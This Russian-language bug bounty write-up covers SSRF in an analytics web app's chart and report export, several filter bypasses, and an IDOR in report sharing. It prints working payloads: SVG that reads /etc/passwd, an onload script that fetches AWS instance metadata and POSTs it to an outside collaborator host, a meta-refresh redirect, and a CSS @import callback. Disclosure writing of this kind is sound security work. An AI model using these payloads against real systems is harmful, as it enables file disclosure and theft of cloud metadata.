SVG SSRF и обход нововведений

SVG SSRF и обход нововведений

Этичный Хакер

Вступление

Я тестировал аналитическое веб-приложение, которое взаимодействовало с исследовательскими институтами по всему миру, чтобы анализировать новые, возникающие тенденции в исследованиях и создавать отчеты.

Поскольку приложение в значительной степени занимается анализом данных, в нем есть функции для отображения данных исследования в виде круговых диаграмм, графиков, таблиц и т. д. Также могут быть подготовлены отчёты с данными и предоставлены коллегам-исследователям.

Эти круговые диаграммы, отчеты и графики можно экспортировать в форматы DOCX, PDF и PNG. Вы видите, к чему я клоню?

Эксплуатация

Как мы узнали ранее, данные исследования отображаются в виде диаграмм. Ниже приведен скриншот этого.

Справа от скриншота мы видим опцию «Export the chart as an image».

Нажав «Export the chart as an image», мы увидим POST запрос с содержимым изображения, как показано на снимке экрана ниже.

Сначала я просто удалил весь параметр content и заменил его на

<h1>h1 injection </h1>

Это было PNG-изображение, и после замены содержимого тегом «h1» на сервере не было никакой кодировки проверки/вывода, и я мог видеть, что тег h1 был успешно внедрен.

Поскольку HTMLi работал нормально, я подумал про svg. Я использовал приведенную ниже полезную нагрузку для извлечения содержимого etc/passwd.

<svg width="500" height="500"  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="file:///etc/passwd" width="800" height="850"/>
</foreignObject>
</svg>

И я смог получить содержимое файла, как и ожидалось.

Владелец исправил уязвимость.

Байпас-1

Клиент применил кодировку для таких тегов, как iframe , script. Так что получить содержимое файла было уже не так просто, как раньше.

Здесь я хотел бы представить отличный ресурс для эксплуатации SVG SSRF.

https://github.com/allanlw/svg-cheatsheet

Я смог получить обратный вызов (callback) на свой сервер, используя image теги и другие теги, используя src атрибуты.

Поскольку теги javascript (script) были запрещены, мой мыслительный процесс заключался в том, чтобы каким-то образом найти способ запуска JS.

Просматривая https://github.com/allanlw/svg-cheatsheet, я узнал, что можно запустить «inline in event javascript».

Я использовал полезную нагрузку из https://github.com/allanlw/svg-cheatsheet#inline-in-event, и встроенный JS действительно отрабатывал.

Теперь мне нужен был способ эксфильтрации данных. Я построил следующую полезную нагрузку:

<svg width="100%" height="100%" viewBox="0 0 100 100" 

xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://google.com/favicon.ico" height="20" width="20" onload="fetch('http://169.254.169.254/latest/meta-data/hostname').then(function (response) {
response.text().then(function(text) {
var params = text;
var http = new XMLHttpRequest();
var url = 'https://3785e80n5cipba9xo2npdk7v7mdc11.burpcollaborator.net/';
http.open('POST', url, true);
http.send(params);
})});" />
</svg>

Как работает полезная нагрузка?

  1. Мы загружаем фавикон Google, и при успешной загрузке срабатывает обработчик события onload .
  2. Используя Fetch API, мы запрашиваем метаданные AWS.
  3. Мы сохраняем ответ метаданных в параметре «params».
  4. Затем сервер отправляет POST запрос на burp collaborator с метаданными в качестве тела POST запроса. Смотрите прикрепленное изображение:

Байпас-2

Теперь клиент внедрил исправление для блокировки javascript. Кроме того, если вы помните, к тегам, таким как script , iframe и т. д., применялась кодировка вывода.

Потом я прочитал этот интересный байпас — https://twitter.com/kunalp94/status/1502527605836173312

Я использовал тот же тег meta, и он привёл к успеху. Полезная нагрузка представлена ниже:

<meta http-equiv="refresh" content="0;url=http://169.254.169.254" />

Байпас-3

Владелец ресурса применил дополнительную кодировка вывода. У меня заканчивались варианты, и тут я вспомнил отличный доклад Нахамсека. Видео ниже

Здесь Бен говорит об отсутствующей проверке style тегов (CSS). Я попробовал то же самое.

Я попробовал с тегами styleimportlink и мне удалось получить обратный вызов.

Я использовал приведенную ниже полезную нагрузку (внутренний style тег в HTML), и это сработало!

<style><h1>h1taginjection</h1><iframe xmlns="http://www.w3.org/1999/xhtml" src="file:///etc/passwd" width="800" height="850"/>
    @import url(http://ta79rlzq77p2kdoak91nqryxlorff4.burpcollaborator.net/import.css);

</style>

Окончательное исправление

После еще одного патча и дополнительной кодировки я пробовал различные теги, но безуспешно.

Отчет в DOCX SSRF

Как и в случае с описанной выше эксплуатацией, «Export report to DOCX» также был уязвим.

IDOR при обмене отчетами

Кроме того, присутствовала простая ошибка, из-за которой отчеты могли быть переданы коллегам-исследователям. Была возможность приглашать пользователей по электронной почте, а также устанавливать разрешения, такие как просмотр и редактирование.

Запрос содержал reportID, который был числовым и параметры permissionemail.

Я изменил reportID и смог пригласить меня к другим исследовательским отчетам.

На этом все, надеюсь, вы почерпнете что-то новое из этого блога.



Report Page